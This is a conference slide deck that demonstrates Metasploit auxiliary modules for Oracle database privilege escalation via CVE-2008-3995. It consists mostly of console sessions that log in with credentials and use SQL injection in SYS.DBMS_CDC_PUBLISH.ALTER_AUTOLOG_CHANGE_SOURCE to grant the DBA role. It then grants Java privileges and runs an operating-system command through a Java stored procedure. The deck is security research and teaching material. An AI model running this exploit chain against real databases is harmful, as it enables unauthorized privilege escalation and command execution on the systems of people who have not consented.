

SAHA 4

**Oracle Privilege Escalation
Exploiting CVE-2008-3995**

metasploit

SAHA 4

- **whoami?**
 - **mc [@] metasploit.com**
- **what is this about?**
 - **introduction to a pet project.**
 - **ruby/dbi + metasploit framework**
- **implemented as auxiliary modules.**
 - **auxiliary/oracle/admin/sql**
 - **execute simple sql commands.**
 - **auxiliary/sqli/oracle/dbms_cdc_publish**
 - **exploit for sql injection bug in the 'ALTER_AUTOLOG_CHANGE_SOURCE' procedure.**
 - **auxiliary/oracle/admin/win32exec**
 - **with the appropriate credentials, will allow for the execution of OS commands via a java stored procedure.**

auxiliary/oracle/admin/sql

```
msf > use auxiliary/admin/oracle/sql
msf auxiliary(sql) > set RHOST 172.10.1.233
RHOST => 172.10.1.233
msf auxiliary(sql) > set DBUSER metasploit
DBUSER => metasploit
msf auxiliary(sql) > set DBPASS metasploit
DBPASS => metasploit
msf auxiliary(sql) > set SID orcl
SID => orcl
msf auxiliary(sql) > set SQL "select * from user_role_privs"
SQL => select * from user_role_privs
msf auxiliary(sql) > run
[*] Sending SQL...
[*] METASPLOIT,CONNECT,NO,YES,NO
[*] Done...
[*] Auxiliary module execution completed
```

metasploit

auxiliary/sqli/oracle/dbms_cdc_publish

ALTER_AUTOLOG_CHANGE_SOURCE

```
msf auxiliary(dbms_cdc_publish) > set RHOST 172.10.1.233
RHOST => 172.10.1.233
msf auxiliary(dbms_cdc_publish) > set DBUSER metasploit
DBUSER => metasploit
msf auxiliary(dbms_cdc_publish) > set DBPASS metasploit
DBPASS => metasploit
msf auxiliary(dbms_cdc_publish) > set SQL "grant dba to metasploit"
SQL => grant dba to metasploit
msf auxiliary(dbms_cdc_publish) > run
[*] Sending function..
[-] ORA-24374: define not done before fetch or execute and fetch
[*] Done...
[*] Attempting sql injection on SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE...
[*] ORA-01400: cannot insert NULL into ("SYS"."DBMS_LOCK_ALLOCATED"."NAME")
ORA-06512: at "SYS.DBMS_CDC_UTILITY", line 436
ORA-06512: at line 1
ORA-06512: at "SYS.DBMS_CDC_PUBLISH", line 680
ORA-06512: at line 3
[-] Statement must first be executed
[*] Done...
[*] Removing function 'F'...
[-] ORA-24374: define not done before fetch or execute and fetch
[*] Done...
[*] Auxiliary module execution completed
```

The Metasploit logo, featuring the word "metasploit" in a stylized, lowercase, bold font with a slight shadow effect.

check and add!

```
msf auxiliary(sql) > set SQL "select * from user_role_privs"
SQL => select * from user_role_privs
msf auxiliary(sql) > run
[*] Sending SQL...
[*] METASPLOIT,CONNECT,NO,YES,NO
[*] METASPLOIT,DBA,NO,YES,NO
[*] Done...
[*] Auxiliary module execution completed
msf auxiliary(sql) > set SQL "grant javasyspriv to metasploit"
SQL => grant javasyspriv to metasploit
msf auxiliary(sql) > run
[*] Sending SQL...
[-] ORA-24374: define not done before fetch or execute and fetch
[*] Done...
[*] Auxiliary module execution completed
msf auxiliary(sql) > set SQL "select * from user_role_privs"
SQL => select * from user_role_privs
msf auxiliary(sql) > run
[*] Sending SQL...
[*] METASPLOIT,CONNECT,NO,YES,NO
[*] METASPLOIT,DBA,NO,YES,NO
[*] METASPLOIT,JAVASYSPRIV,NO,YES,NO
[*] Done...
[*] Auxiliary module execution completed
```

metasploit

auxiliary/oracle/admin/win32exec

```
msf auxiliary(win32exec) > set RHOST 172.10.1.233
RHOST => 172.10.1233
msf auxiliary(win32exec) > set DBUSER metasploit
DBUSER => metasploit
msf auxiliary(win32exec) > set DBPASS metasploit
DBPASS => metasploit
msf auxiliary(win32exec) > run
[*] Creating java source 'VAW'...
[-] ORA-24374: define not done before fetch or execute and fetch
[*] Done...
[*] Creating procedure 'WSCGWQM'...
[-] ORA-24374: define not done before fetch or execute and fetch
[*] Done...
[*] Sending command: 'echo metasploit > %SYSTEMDRIVE%\\unbreakable.txt'
[-] ORA-24374: define not done before fetch or execute and fetch
[*] Done...
[*] Removing java source 'VAW'...
[-] ORA-24374: define not done before fetch or execute and fetch
[*] Done...
[*] Removing procedure 'WSCGWQM'...
[-] ORA-24374: define not done before fetch or execute and fetch
[*] Done...
[*] Auxiliary module execution completed
```

metasploit

DEMO

metasploit

SAHA 4

➤ code

➤ <https://metasploit.com/users/mc>

➤ **still a work in progress.**